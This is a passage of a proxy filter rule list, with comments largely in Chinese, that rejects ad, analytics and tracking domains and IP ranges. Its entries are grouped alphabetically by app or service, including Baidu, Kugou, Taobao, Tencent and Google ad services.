union.baidustatic.guannin.com, reject +host-suffix, unionimage.baidu.com, reject +host-suffix, utility.baidu.com, reject +host-suffix, utk.baidu.com, reject +host-suffix, videopush.baidu.com, reject +host-suffix, w.gdown.baidu.com, reject +host-suffix, w.x.baidu.com, reject +host-suffix, wangmeng.baidu.com, reject +host-suffix, weishi.baidu.com, reject +host-suffix, wisepush.video.baidu.com, reject +host-suffix, wm.baidu.com, reject +host-suffix, yingxiao.baidu.com, reject +host-suffix, znsv.baidu.com, reject +host-suffix, baidustatic.com, reject +host-suffix, als.baidu.com, reject +host-suffix, duclick.baidu.com, reject +host-suffix, hm.baidu.com, reject +host-suffix, hmma.baidu.com, reject +host-suffix, mobads.baidu.com, reject +host-suffix, mobads-logs.baidu.com, reject +host-suffix, nsclick.baidu.com, reject +host, hm.baidu.com, reject +host, hmma.baidu.com, reject +# 百度地图 +host, afd.baidu.com, reject +host, afdconf.baidu.com, reject +host, httpdns.baidubce.com, reject +host, lc.map.baidu.com, reject + +# > 百度贴吧 屏蔽域名dns查询 +IP-CIDR, 180.76.76.200/32, reject + +# > 哔哩哔哩 +;HOST, mall.bilibili.com, REJECT +;HOST, passport.bilibili.com, REJECT +host-keyword, api.sobot.com, reject +host-suffix, cm.ad.bilibili.com, reject +host-suffix, cm.adcommon.bilibili.com, reject +host-suffix, cm.game.bilibili.com, reject +host-suffix, cm.track.biligame.bilibili.com, reject + +# > 百词斩 +host, advertise.baicizhan.com, reject +host, advertise.baicizhan.org, reject + +# > Braze +host-suffix, iad.appboy.com, reject +host-suffix, iad-03.appboy.com, reject +host-suffix, iad-01.braze.com, reject +host-suffix, iad-02.braze.com, reject +host-suffix, iad-03.braze.com, reject +host-suffix, iad-04.braze.com, reject +host-suffix, iad-05.braze.com, reject +host-suffix, iad-06.braze.com, reject +host-suffix, iad-08.braze.com, reject + + + +# >>>>>>>>>>>>>>> ✅ C ✅ <<<<<<<<<<<<<< +# > C&J Marketing +# https://www.zhihu.com/question/46746200, reject +host-suffix, alienskins.cn, reject +host-suffix, anydeskchina.cn, reject +host-suffix, betterzipcn.com, reject +host-suffix, dongmansoft.com, reject +host-suffix, earmasterchina.cn, reject +host-suffix, folxchina.cn, reject +host-suffix, hypeapp.cn, reject +host-suffix, idmchina.net, reject +host-suffix, imazingchina.com, reject +host-suffix, luping.net.cn, reject +host-suffix, mindmanager.cn, reject +host-suffix, officesoftcn.com, reject +host-suffix, photozoomchina.com, reject +host-suffix, xitongqingli.com, reject + +# > Camera360 +host, dispatcher.360in.com, reject +host, ad.360in.com, reject +host, exp.360in.com, reject + +# > 车来乐 +host, atrace.chelaile.net.cn, reject +host, logs.chelaile.net.cn, reject + +# > 创维 +host-suffix, hoisin.coocaa.com, reject +host-suffix, hoisin.coocaatv.com, reject +host, data-hoisin.coocaa.com, reject + +# > 车来了(包括小程序) +host-suffix, atrace.chelaile.net.cn, reject +host, logs.chelaile.net.cn, reject +host, ad.chelaile.net.cn, reject + + + +# >>>>>>>>>>>>>>> ✅ D ✅ <<<<<<<<<<<<<< +# > Dr.Peng +;IP-CIDR, 10.72.25.0/24, reject +IP-CIDR, 211.161.101.110/32, reject + +# > 叮嗒出行 +host-keyword, image.bianxianmao.com, reject + +# > 滴滴青桔(支付界面图片有误杀) +;host-keyword, pt-starimg.didistatic.com, reject +ip-cidr, 203.107.1.1/24, reject + +# > 懂车帝 +host-keyword, p3-pack.byteimg.com, reject +host-keyword, p6-pack.byteimg.com, reject + +# > 懂球帝 +host-keyword, apimg.qunliao.info, reject + +# > 抖音 +host-keyword, bds.snssdk.com, reject +host-keyword, p3.pstatp.com, reject + +# > 多多视频 +host-suffix, bayescom.com, reject + +# > Daum +host, track.tiara.daum.net, reject +host, track.tiara.kakao.com, reject + +# > 朵朵校友圈 微信小程序去广告 +host-suffix, ad.duoduo.link, reject + +# > 盯盯拍 广告联盟已包含 + +# > 叮咚买菜 +host, trackercollect.ddxq.mobi, reject +host, ddfs-public.ddimg.mobi, reject +host, rttrack.ddxq.mobi, reject + +# >>>>>>>>>>>>>>> ✅ E ✅ <<<<<<<<<<<<<< + + + +# >>>>>>>>>>>>>>> ✅ F ✅ <<<<<<<<<<<<<< +# > 番茄小说 +host-suffix, byteimg.com, DIRECT +host, i.snssdk.com, REJECT +host, i-lq.snssdk.com, REJECT +host, dig.bdurl.net, REJECT +host, activity-ag.awemeughun.com, REJECT +host, mcs.snssdk.com, REJECT +host, tnc3-alisc1.snssdk.com, REJECT +host, security-lq.snssdk.com, REJECT +host, tnc3-aliec2.snssdk.com, REJECT +#host, is.snssdk.com, REJECT +host, i.snssdk.com, REJECT +host, v6-novelapp.ixigua.com, REJECT +host-suffix, novelapp.ixigua.com, REJECT +host-suffix, default.ixigua.com, REJECT +host, msync-im1-vip6-std.easemob.com, REJECT +host, apd-pcdnwxlogin.teg.tencent-cloud.net, REJECT +host, api.iegadp.qq.com, REJECT +host-suffix, byteorge.com, REJECT +# 下面两条误杀严重导致懂车帝无法正常使用 +#host-suffix, bytegoofy.com, REJECT +#host-suffix, bytedance.com, REJECT +IP-CIDR, 49.71.37.101/32, REJECT +IP-CIDR, 117.71.105.23/32, REJECT +IP-CIDR, 218.94.207.205/32, REJECT +IP-CIDR, 117.92.229.188/32, REJECT +IP-CIDR, 101.36.166.16/32, REJECT +IP-CIDR, 180.96.2.114/32, REJECT + +# > 凤凰新媒体 +host-suffix, deliver.ifeng.com, reject +host, api.newad.ifeng.com, reject +host, ifengad.3g.ifeng.com, reject + + + +# >>>>>>>>>>>>>>> ✅ G ✅ <<<<<<<<<<<<<< +# > GozenData +# https://www.v2ex.com/t/772523, reject +host-suffix, gozendata.com, reject +host-suffix, gzads.com, reject +host-suffix, gz-data.com, reject + +# > GrowingIO +host-suffix, giocdn.com, reject + +# > 光大银行阳光惠生活 +host-keyword, talk.bz.getui.com, reject + +# > 谷歌 +host-suffix, google-analytics.com, reject +host, safebrowsing.googleapis.com, reject +host-suffix, doubleclick.net, reject +host-suffix, googleadservices.com, reject +host-suffix, googleadsserving.cn, reject +host-suffix, googlesyndication.com, reject +host-suffix, googletagservices.com, reject +host-suffix, googletagmanager.com, reject +host-suffix, video-ad-stats.googlesyndication.com, reject +host-suffix, tpc.googlesyndication.com, reject +host-suffix, pagead.google.com, reject +host-suffix, pagead.l.google.com, reject +host-suffix, pagead2.googlesyndication.com, reject +host-suffix, pagead-tpc.l.google.com, reject +host-suffix, mobileads.google.com, reject +host-suffix, googlecommerce.com, reject +host-suffix, blaaaa12.googlecode.com, reject +host-suffix, badad.googleplex.com, reject +host-suffix, afs.googlesyndication.com, reject +host-suffix, afd.l.google.com, reject +host-suffix, www.googleadservices.com, reject +host-suffix, www.google-analytics.com, reject +host, ads.youtube.com, reject + +# > 高德 +;host, restapi.amap.com, reject +host-suffix, adiu.amap.com, reject +host, aboard.apilocate.amap.com, reject +host, apiinit.amap.com, reject +host, icloud-amap.com, reject +host, logs.amap.com, reject +host-suffix, dualstack-logs.amap.com, reject +host-suffix, logs.amap.com, reject +host-suffix, optimus-ads.amap.com, reject +host-suffix, page.amap.com, reject +host, optimus-ads.amap.com, reject +host, optimus-ads.amap.com.w.alikunlun.com, reject +host-suffix, shouji.sougou.com, reject +host, u51.me, reject +host-suffix, u51.me, reject + +# > 广州地铁乘车码 +# 多个广告 感谢CtrlMusic🐓分享 +host, apis.alenable.com, reject + + + +# >>>>>>>>>>>>>>> ✅ H ✅ <<<<<<<<<<<<<< +# > HDO +;host-suffix, applovin.com, reject +;host-suffix, applvn.com, reject + +# > Huawei AspiegelBot +IP-CIDR, 114.119.160.0/21, reject + +# > 湖南卫视 +host-suffix, da.hunantv.com, reject +host-suffix, log.hunantv.com, reject +host-suffix, v2.hunantv.com, reject +host-suffix, click.hunantv.com, reject +host-suffix, mp4.res.hunantv.com, reject +host-suffix, res.hunantv.com, reject +host-suffix, x.da.hunantv.com, reject +host-suffix, x1.da.hunantv.com, reject +host-suffix, y.da.hunantv.com, reject +host-suffix, log.v2.hunantv.com, reject +host-suffix, v2.log.hunantv.com, reject + +# > 虎扑 +host, adx.hupu.com, reject +host, adx-api.hupu.com, reject +host, goblin.hupu.com, reject + +# > 虎牙直播 开屏广告 +host, pp-cdnfile2pcdn.msstatic.com, reject +host, livewebbs2pcdn.msstatic.com, reject +host, huyafile.msstatic.com, reject +host, livewebbs2.msstatic.com, reject +host, business.msstatic.com, reject +host-suffix, v1d.szbdyd.com, reject + +# > 哈啰 大部分图片无法正常加载 +;host-keyword, assets.51downapp.cn, reject + +# > 黄油相机 #开屏广告 感谢#Dragon分享 +host-suffix, anythinktech.com, reject +host-suffix, adkwai.com, reject +host-suffix, mob.com, reject + + + +# >>>>>>>>>>>>>>> ✅ J ✅ <<<<<<<<<<<<<< +# > jxedt +host, richmanapi.jxedt.com, reject +host, richmanmain.jxedt.com, reject +host, richmanrules.jxedt.com, reject + +# > 金山词霸 +host, ad-stat.ksosoft.com, reject +host, img.auction-ads.wpscdn.cn, reject +host, counter.kingsoft.com, reject +host, counter.ksosoft.com, reject +host, minfo.wps.cn, reject +host, mobad.ijinshan.com, reject +host, ups.ksmobile.net, reject +host, ws.ksmobile.net, reject + +# > 今日头条 +host, dm.toutiao.com, reject +host-keyword, ad.toutiao.com, reject +host-keyword, clk.gentags.net, reject +host-keyword, dm.toutiao.com, reject +host-keyword, dm.pstatp.com, reject +host-keyword, dm.bytedance.com, reject +host-keyword, uop.umeng.com, reject +host-keyword, m.suning.com, reject +host-keyword, adshare.toutiao.com, reject +host-keyword, tunion-api.m.taobao.com, reject +host-keyword, s1.pstatp.com, reject +host-keyword, s2.pstatp.com, reject +host-keyword, s3.pstatp.com, reject +host-keyword, a3.pstatp.com, reject +host-keyword, a3.bytecdn.cn, reject +;host-keyword, ichannel.snssdk.com, reject +host, ad.toutiao.com, reject +host, dsp.toutiao.com, reject + +# > 京东 +host-suffix, jzt.jd.com, reject +host-suffix, img-x.jd.com, reject +host-suffix, du.jd.com, reject +host-suffix, c-nfa.jd.com, reject +host-suffix, cm.jd.com, reject +host-suffix, jddebug.com, reject +host-keyword, policy.jd.com, reject +host-keyword, kepler.jd.com, reject +host-keyword, bdsp.x.jd.com, reject +host-keyword, keplerapi.jd.com, reject +host-keyword, mapi.m.jd.com, reject +# 屏蔽DNS +host, dns.jd.com, reject +IP-CIDR, 101.124.19.122/32, reject +IP6-CIDR, 2402:db40:5100:1011::5/128, reject + +# > 建行生活 +# 内置饿了么外卖弹窗 +host, o2o-ad-log-gateway.alibaba.com, reject + + + +# >>>>>>>>>>>>>>> ✅ K ✅ <<<<<<<<<<<<<< +# > keep +host, apm.gotokeep.com, reject +host, kad.gotokeep.com, reject +host, hc-ssp.sm.cn, reject + +# > 快乐广播 +host, ad.hpplay.cn, reject +host, adc.hpplay.cn, reject +host, adcdn.hpplay.cn, reject +host, adeng.hpplay.cn, reject +host, pin.hpplay.cn, reject +host, rp.hpplay.cn, reject +host, rpt.hpplay.cn, reject + +# > 快手 +;host-suffix, yximgs.com, reject +;host, js-ad.a.yximgs.com, reject +host-suffix, e.kuaishou.com, reject +host-suffix, cm.downloader.commercial.kuaishou.com, reject +host-suffix, cm.ad.gifshow.com, reject +host-suffix, cm.kwad.com, reject + +# > 快压zip +host-suffix, kuaizip.com, reject + +# > 酷狗音乐 +host, adserviceretry.kugou.com, reject +host, ads.service.kugou.com, reject +host, adsfile.bssdlbig.kugou.com, reject +host, g.koowo.com, reject +host, kgmobilestat.kugou.com, reject +host, kgmobilestatbak.kugou.com, reject +host, mobilelog.kugou.com, reject +host, adsfile.bssdlbig.kugou.com, reject +host, pgdt.gtimg.com, reject +host, adsmind.gdtimg.com, reject +host-keyword, searchrecommend.kugou.com, reject +host-keyword, nbcollectretry.kugou.com, reject +host-keyword, rtmretry.kugou.com, reject +host-keyword, rt-m.kugou.com, reject +host-keyword, nbcollect.kugou.com, reject +host-keyword, c1img.ali.kugou.com, reject +host-keyword, kgstaticdlbssdlbig.tx.kugou.com, reject +host-keyword, adsfilebssdlbig.ali.kugou.com, reject +host-keyword, splashimgbssdl.yun.kugou.com, reject +host-keyword, adservice.kugou.com, reject +host-keyword, kgipadstat.kugou.com, reject +host-keyword, kgipadstatbak.kugou.com, reject +host-keyword, logwebs.kugou.com, reject +host-keyword, tracker.kugou.com, reject +host-keyword, trackercdnbj.kugou.com, reject +host-suffix, oth.eve.mdt.qq.com, reject +host-suffix, channel.fanxing.kugou.com, reject +host-suffix, d.kugou.com, reject +host-suffix, downmobile.kugou.com, reject +host-suffix, gad.kugou.com, reject +host-suffix, game.kugou.com, reject +host-suffix, gamebox.kugou.com, reject +host-suffix, gcapi.sy.kugou.com, reject +host-suffix, gg.kugou.com, reject +host-suffix, install.kugou.com, reject +host-suffix, install2.kugou.com, reject +host-suffix, minidcsc.kugou.com, reject +host-suffix, mo.kugou.com, reject +host-suffix, msg.mobile.kugou.com, reject +host-suffix, mvads.kugou.com, reject +host-suffix, p.kugou.com, reject +host-suffix, push.mobile.kugou.com, reject +host-suffix, rtmonitor.kugou.com, reject +host-suffix, sdn.kugou.com, reject +host-suffix, song.fanxing.kugou.com, reject +host-suffix, update.mobile.kugou.com, reject +host-suffix, youxi.kugou.com, reject +host-suffix, adserviceretry.kugou.com, reject +host-suffix, ads.service.kugou.com, reject +host-suffix, adsfile.bssdlbig.kugou.com, reject +host-suffix, log.stat.kugou.com, reject +host-suffix, log.web.kugou.com, reject +host-suffix, kgmobilestat.kugou.com, reject +host-suffix, kgmobilestatbak.kugou.com, reject +host-suffix, mobilelog.kugou.com, reject + +# > 酷我音乐 +host, mobilead.kuwo.cn, reject +host, rich.kuwo.cn, reject +host-keyword, rich.kuwo.cn, reject +host-keyword, mobilead.kuwo.cn, reject +host-suffix, c.kuwo.cn, reject +host-suffix, deliver.kuwo.cn, reject +host-suffix, game.kuwo.cn, reject +host-suffix, kuwoyy.com, reject +host-suffix, kwmsg.kuwo.cn, reject +host-suffix, msclick2.kuwo.cn, reject +host-suffix, msphoneclick.kuwo.cn, reject +host-suffix, updatepage.kuwo.cn, reject +host-suffix, wa.kuwo.cn, reject +host-suffix, webstat.kuwo.cn, reject +host-suffix, mobilead.kuwo.cn, reject +host-suffix, rich.kuwo.cn, reject + +# > 酷安 广告联盟已包含 + + + +# >>>>>>>>>>>>>>> ✅ L ✅ <<<<<<<<<<<<<< +# > LinkWiFi +host, a.wkanx.com, reject +host, cwx.lianwangtech.com, reject +host, c1wx.lianwangtech.com, reject + +# > 蓝基因(弹窗还在,需要手动关闭) +host-keyword, medicine.lanjiyin.com.cn, reject + +# > 两步路 +host-suffix, admobile.top, reject + +# > 乐视 +host-suffix, webp2p.letv.com, reject +host, ark.letv.com, reject +host, emma-414870e223.huodonghezi.com, reject +host, g3.letv.com, reject +host, n.mark.letv.com, reject + + + +# >>>>>>>>>>>>>>> ✅ M ✅ <<<<<<<<<<<<<< +# > MacKeeper +host-suffix, zryydi.com, reject + +# > 美团 +host, flowplus.meituan.net, reject +host-suffix, analytics.meituan.net, reject +host-suffix, meituan.xn, reject +host-suffix, meituan.yoga, reject +host-suffix, meituangov.cn, reject +host-suffix, report.meituan.com, reject +host-suffix, wmlog.meituan.com, reject +host-suffix, ad.e.waimai.sankuai.com, reject +host-suffix, mads.meituan.com, reject +host-suffix, dreport.meituan.net, reject +host-suffix, d.meituan.net, reject + +# > 美颜相机 去首页和轮播广告 +host, adui.tg.meitu.com, reject +host, aaid.uyunad.com, reject + +# > 美柚 +host, ad.seeyouyima.com, reject + +# > 买单吧 +host-suffix, c-hzgt2.getui.com, reject +host-suffix, c-hzgt2.getui.com, reject +host-suffix, gs.getui.com, reject + +# > 民生银行 +host-keyword, cm-10-134.getui.com, reject +host-keyword, sdk.open.talk.getui.com, reject +host-keyword, cm-10-35.getui.com, reject +host-keyword, c-hzgt2.getui.com, reject + +# > 墨迹天气 +host-keyword, fds.api.moji.com, reject +host-keyword, me.api.moji.com, reject +host-keyword, android.bugly.qq.com, reject +host-keyword, av1.xdrig.com, reject +host-keyword, adash.man.aliyuncs.com, reject +host-keyword, v1.log.moji.com, reject +host-keyword, ad.api.moji.com, reject +host, ad.api.moji.com, reject +host, adlaunch.moji.com, reject +host, ads.mojicdn.com, reject +host, v1.log.moji.com, reject + +# > 咪咕视频 +host-suffix, ad.cmvideo.cn, reject +host, ggc.cmvideo.cn, reject +host, ggv.cmvideo.cn, reject +host, ggx.cmvideo.cn, reject +host, ggx03.miguvideo.com, reject +host, ggic03.miguvideo.com, reject +host, ggmk.miguvideo.com, reject +host, ggadoffline.miguvideo.com, reject + +# > 小米米家 +host, sdkconfig.ad.xiaomi.com, reject + +# > 芒果TV +host, dflow.bz.mgtv.com, reject +host, encounter.bz.mgtv.com, reject +host, floor.bz.mgtv.com, reject +host, img.da.mgtv.com, reject +host, layer.bz.mgtv.com, reject +host, mob.bz.mgtv.com, reject +host, mobile.da.mgtv.com, reject +host, rc-topic-api.bz.mgtv.com, reject +host, v2.da.mgtv.com, reject +host, video.da.mgtv.com, reject +host, vip.bz.mgtv.com, reject +host, ys.da.mgtv.com, reject +host-suffix, mobile2.da.mgtv.com, reject +host-suffix, cdn.cmop.mgtv.com, reject +host-suffix, cmop.mgtv.com, reject +host-suffix, imgaliyun.da.mgtv.com, reject +host-suffix, imgaliyun.res.mgtv.com, reject +host-suffix, m2.da.mgtv.com, reject +host-suffix, mobaliyun.res.mgtv.com, reject +host-suffix, pc.da.mgtv.com, reject +host-suffix, pc1.da.mgtv.com, reject +host-suffix, pcvideoaliyun.titan.mgtv.com, reject +host-suffix, pcvideoyd.titan.mgtv.com, reject +host-suffix, pcweb.v1.mgtv.com, reject +host-suffix, py.da.mgtv.com, reject +host-suffix, web.da.mgtv.com, reject +host-suffix, x.da.mgtv.com, reject +host-suffix, y.da.mgtv.com, reject +host-suffix, da.mgtv.com, reject + + + +# >>>>>>>>>>>>>>> ✅ N ✅ <<<<<<<<<<<<<< +# > NicoNico +host, ads.nicovideo.jp, reject + + + +# >>>>>>>>>>>>>>> ✅ O ✅ <<<<<<<<<<<<<< +# > OPPO +host, adsfs.oppomobile.com, reject +host-suffix, ads.oppomobile.com, reject + +# > Outlook +host, acdn.adnxs.com, reject +host, mediation.adnxs.com, reject +host, sin3-ib.adnxs.com, reject + + + + +# >>>>>>>>>>>>>>> ✅ P ✅ <<<<<<<<<<<<<< +# > PPTV +host, ads.aplus.pptv.com, reject +host, ads.aplusapi.pptv.com, reject +host, asimgs.pplive.cn, reject +host, de.as.pptv.com, reject + +# > Photoable +host, regist.fotoable.com, reject +host, cdn.adapi.fotoable.com, reject + +# > PeanutWiFi +host, adnew.wifi8.com, reject +host, adfile.wifi8.com, reject + +# > PConline +host, ad-analysis.pconline.com.cn, reject +host, iad0ssl.pcauto.com.cn, reject +host, iad0ssl.pconline.com.cn, reject +host, imgad0.pcauto.com.cn, reject +host, imgad0.pconline.com.cn, reject +host, ivy.pchouse.com.cn, reject + +# > 皮皮虾(推荐视频不能预览) +host-keyword, log-api.pangolin-sdk-toutiao-b.com, reject +host-keyword, log-api.pangolin-sdk-toutiao.com, reject +host-keyword, api-access.pangolin-sdk-toutiao.com, reject + +# > 皮皮虾(比较激进,需要的自己开启) +;host-keyword, snssdk.com, reject +;host-keyword, mssdk.bytedance.com, reject +;host-keyword, api.ribaoapi.com, reject +;host-keyword, apps.bytesfield.com, reject +;host-keyword, bytesmanager.com, reject +;host-keyword, mssdk-bu.bytedance.com, reject +;host-keyword, 365yg.com, reject +;host-keyword, ppx.byteimg.com, reject +;host-keyword, i.snssdk.com, reject, reject + +# > 影响端传媒正常运行,默认关闭 +;host-suffix, cloudfront.net, reject + + + + +# >>>>>>>>>>>>>>> ✅ Q ✅ <<<<<<<<<<<<<< +# > QQ音乐 +host, adstats.tencentmusic.com, REJECT +host, ad.tencentmusic.com, REJECT +host, adcdn.tencentmusic.com, REJECT +host, adcdn6.tencentmusic.com, REJECT +host, adexpo.tencentmusic.com, REJECT +host, adclick.tencentmusic.com, REJECT +host, otheve.beacon.qq.com, REJECT +host, monitor.music.qq.com, REJECT +host, stat.y.qq.com, REJECT +host, tmead.y.qq.com, REJECT +host, oth.str.mdt.qq.com, REJECT +host, h.trace.qq.com, REJECT +host, sdk.e.qq.com, REJECT +host, p.l.qq.com, REJECT +host, us.l.qq.com, REJECT +host, tangram.e.qq.com, REJECT +host, tmeadbak.y.qq.com, REJECT +host-suffix, imtmp.net, REJECT +host, tmeadcomm.y.qq.com, reject +host, ad.tencentmusic.com, reject +host, adstats.tencentmusic.com, reject +host, tmead.y.qq.com, reject +host-suffix, rqd.qq.com, reject +host-suffix, wup.imtt.qq.com, reject +host-suffix, gdt.qq.com, reject +host-suffix, android.rqd.qq.com, reject +host-suffix, e.qq.com, reject +host-suffix, beacon.qq.com, reject +host-suffix, v.gdt.qq.com, reject +host, amsweb-cdn-gz-1258344696.file.myqcloud.com, REJECT +host, wallpaper-1258344696.file.myqcloud.com, REJECT +host, xs.gdt.qq.com,REJECT +IP-CIDR, 120.222.240.171/32, REJECT + +# > 蜻蜓FM +host, ad.qingting.fm, reject +host, adlaunch.qingting.fm, reject +host, ad-cdn.qingting.fm, reject + +# > 七猫小说 +host, cdn-new-ad.wtzw.com, REJECT +host, a-remad.qm989.com, REJECT +host, mobads.baidu.com, REJECT +host-suffix, gdt.qq.com, REJECT +host, qzs.gdtimg.com, REJECT +host, mobads-pre-config.cdn.bcebos.com, REJECT +host, pgdt.ugdtimg.com, REJECT + +# > 汽车之家 +host-keyword, adm3.autoimg.cn, reject +;host-keyword, audid-api.taobao.com, reject +host-keyword, collectionpv.che168.com, reject +host-keyword, adproxy.autohome.com, reject +host-keyword, applogapi.autohome.com, reject +host, adproxy.autohome.com.cn, reject +host, rd.autohome.com.cn, reject +host, al.autohome.com.cn, reject +host, applogapi.autohome.com.cn, reject +host, adm0.autoimg.cn, reject +host, adm1.autoimg.cn, reject +host, adm2.autoimg.cn, reject +host, adm3.autoimg.cn, reject + + + + +# >>>>>>>>>>>>>>> ✅ R ✅ <<<<<<<<<<<<<< + + + +# >>>>>>>>>>>>>>> ✅ S ✅ <<<<<<<<<<<<<< +# > soul +host, soul-ad.soulapp.cn, reject +host, ad-r.soulapp.cn, reject +host, ad-reward.soulapp.cn, reject +host-suffix, cdn.soulapp.cn, reject +IP-CIDR, 47.56.131.76/32, REJECT +IP-CIDR, 47.97.215.55/32, REJECT +IP-CIDR, 47.99.42.29/32, REJECT +IP-CIDR, 120.27.235.201/32, REJECT +IP-CIDR, 121.196.197.147/32, REJECT + +# > Snapchat +host, ads.snapchat.com, reject +host, adsapi.snapchat.com, reject + +# > 搜狐 +host-suffix, ad.sohu.com, reject +host-suffix, ads.sohu.com, reject +host-suffix, aty.sohu.com, reject +host, hui.sohu.com, reject + +# > 搜狗 +;host, indivi-cdn.shouji.sogou.com, reject +host-suffix, epro.sogou.com, reject +host-suffix, golden1.sogou.com, reject +host-suffix, inte.sogou.com, reject +host-suffix, inte.sogoucdn.com, reject +host-suffix, lu.sogoucdn.com, reject +host-suffix, theta.sogoucdn.com, reject +host-suffix, uranus.sogou.com, reject +host-suffix, 123.sogou.com, reject +host-suffix, a1click.cpc.sogou.com, reject +host-suffix, adsence.sogou.com, reject +host-suffix, adstream.123.sogoucdn.com, reject +host-suffix, amfi.gou.sogou.com, reject +host-suffix, art.theta.sogoucdn.com, reject +host-suffix, athena.wan.sogou.com, reject +host-suffix, bazinga.mse.sogou.com, reject +host-suffix, bite.theta.sogoucdn.com, reject +host-suffix, brand.sogou.com, reject +host-suffix, bsiet.husky.sogou.com, reject +# 屏蔽京东和搜狗收集信息 @jFrecht +host-suffix, jdqd.jd.com, reject +host-suffix, shouji.sougou.com, reject + +# > 搜狗输入法 +;host-keyword, business-cdn.shouji.sogou.com, reject + +# > 深圳通微信小程序 +host-suffix, wxsnsdythumb.wxs.qq.com, reject + +# > 收钱吧 买单小程序去广告 +host, ads-shopping.shouqianba.com, reject + +# > 什么值得买 +host, aaid.uyunad.com, REJECT +host, acs4baichuan.m.taobao.com, REJECT +host, adashxgc.ut.taobao.com, REJECT +host, analytics-api.smzdm.com, REJECT +host, baichuan-sdk.alicdn.com, REJECT +host, dgstatic.jd.com, REJECT +host, msg.umengcloud.com, REJECT +host, sec.umeng.com, REJECT +host, ulogs.umeng.com, REJECT +host, ynuf.aliapp.org, REJECT + + + +# >>>>>>>>>>>>>>> ✅ T ✅ <<<<<<<<<<<<<< +# > TubeMax 感谢@可莉分享 +host-suffix, adjust.com, reject +host-suffix, applvn.com, reject +host-suffix, app-measurement.com, reject +host-suffix, pangle.io, reject +host-suffix, applovin.com, reject +host-suffix, appier.net, reject +host-suffix, adsmoloco.com, reject +host-suffix, adcanvas.com, reject + +# > The Paper +host, admonitor.thepaper.cn, reject +host, adpai.thepaper.cn, reject +host, imgadpai.thepaper.cn, reject + +# > TalkingData +host-suffix, cpatrk.net, reject + +# > Talkatone +host-suffix, tappx.com, reject + +# > 天神 +host, track.tenjin.com, reject +host, track.tenjin.io, reject +host, errlog.umeng.com, reject +host, lf9-cdn-tos.bytegecko.com, reject +host, novel.pangolin-sdk-toutiao.com, reject + +# > 淘宝 +host-suffix, apoll.m.taobao.com, reject +host-suffix, h-adashx.ut.taobao.com, reject +host-suffix, w.m.taobao.com, reject +host, tunion-api.m.taobao.com, reject +;host-suffix, ai.m.taobao.com, reject +host-suffix, re.m.taobao.com, reject +host-suffix, agoodm.m.taobao.com, reject +host-suffix, ai.taobao.com, reject +host-suffix, api.waptest.taobao.com, reject +host-suffix, dsp.simba.taobao.com, reject +host-suffix, fav.simba.taobao.com, reject +host-suffix, m.simba.taobao.com, reject +host-suffix, mclick.simba.taobao.com, reject +host-suffix, re.taobao.com, reject +host-suffix, redirect.simba.taobao.com, reject +host-suffix, simba.m.taobao.com, reject +host-suffix, srd.simba.taobao.com, reject +host-suffix, temai.taobao.com, reject +host-suffix, textlink.simba.taobao.com, reject +host-suffix, unitacs.m.taobao.com, reject +host-suffix, acs4baichuan.m.taobao.com, reject +host-suffix, adashbc.ut.taobao.com, reject +host-suffix, adash-c.ut.taobao.com, reject +host-suffix, adashxgc.ut.taobao.com, reject +host-suffix, adashx4yt.m.taobao.com, reject +host-suffix, tunion-api.m.taobao.com, reject +host-suffix, tns.simba.taobao.com, reject +host-suffix, click.mz.simba.taobao.com, reject +host-suffix, click.simba.taobao.com, reject +host-suffix, click.tz.simba.taobao.com, reject +host-suffix, stat.simba.taobao.com, reject +host-suffix, m-adash.m.taobao.com, reject +host-suffix, adashbc.m.taobao.com, reject + +# > 腾讯视频 +# 去除开屏,播放,暂停,青少年等广告。开启下面的规则播放时会有10秒左右的卡顿 +# host,pgdt.gtimg.cn,REJECT +# host,ugchsy.gtimg.com,REJECT +# host,adsmind.gdtimg.com,REJECT +# host,btrace.video.qq.com,REJECT +# host,info4.video.qq.com,REJECT +# host,info6.video.qq.com,REJECT +# host-SUFFIX,api.poll.video.qq.com,REJECT +# host,activity.video.qq.com,REJECT +# host,ios.video.mpush.qq.com,REJECT +# host,p.l.qq.com,REJECT +# host,rpt.gdt.qq.com,REJECT +# host-SUFFIX,trace.qq.com,REJECT +# host-SUFFIX,tetrack.qq.com,REJECT +# host-SUFFIX,tpns.tencent.com,REJECT +# host-SUFFIX,stat.tpns.tencent.com,REJECT +# host-SUFFIX,static-res.qq.com,REJECT +# host-SUFFIX,omgmta.qq.com,REJECT +# host-SUFFIX,omgmta1.qq.com,REJECT +# host,tux.qq.com,REJECT +# host,iacc.qq.com,REJECT +# host,p2.l.qq.com,REJECT +# host,v3.gdt.qq.com,REJECT +# host,rmonitor.qq.com,REJECT +# host,xs.gdt.qq.com,REJECT +# host,aegis.qq.com,REJECT +# host,rdelivery.qq.com,REJECT +# host,wallpaper-1258344696.file.myqcloud.com,REJECT +# host,wallpaper-test-1258344696.file.myqcloud.com,REJECT +# IP-CIDR,183.201.213.194/24,REJECT + +# > 腾讯 +host-suffix, news.ssp.qq.com, reject +host-suffix, news.l.qq.com, reject +host-suffix, activeqq.3g.qq.com, reject +host-suffix, ad.qq.com, reject +host-suffix, adping.qq.com, reject +host-suffix, adpm.app.qq.com, reject +host-suffix, adrdir.qq.com, reject +host-suffix, adsclick.qq.com, reject +host-suffix, adsense.html5.qq.com, reject +host-suffix, adsfile.qq.com, reject +host-suffix, adsgroup.qq.com, reject +host-suffix, adshmct.qq.com, reject +host-suffix, adshmmsg.qq.com, reject +host-suffix, adslvfile.qq.com, reject +host-suffix, adslvseed.qq.com, reject +host-suffix, adsolution.imtt.qq.com, reject +host-suffix, adsqqclick.qq.com, reject +host-suffix, adstextview.qq.com, reject +host-suffix, adsview.qq.com, reject +host-suffix, adsview2.qq.com, reject +host-suffix, adv.app.qq.com, reject +host-suffix, adver.qq.com, reject +host-suffix, aeventlog.beacon.qq.com, reject +host-suffix, analy.qq.com, reject +host-suffix, astrategy.beacon.qq.com, reject +host-suffix, c.gdt.qq.com, reject +host-suffix, c.gj.qq.com, reject +host-suffix, canvas.gdt.qq.com, reject +host-suffix, d.gdt.qq.com, reject +host-suffix, d3g.qq.com, reject +host-suffix, download.sj.qq.com, reject +host-suffix, dp3.qq.com, reject +host-suffix, eventlog.beacon.qq.com, reject +host-suffix, game.html5.qq.com, reject +host-suffix, ggmmqq.com, reject +host-suffix, j.wit.qq.com, reject +host-suffix, jqmt.qq.com, reject +host-suffix, jrlt.beacon.qq.com, reject +host-suffix, jsqmt.qq.com, reject +host-suffix, lives.l.qq.com, reject +host-suffix, livep.l.qq.com, reject +host-suffix, mi.gdt.qq.com, reject +host-suffix, livep.l.ott.video.qq.com, reject +host-suffix, 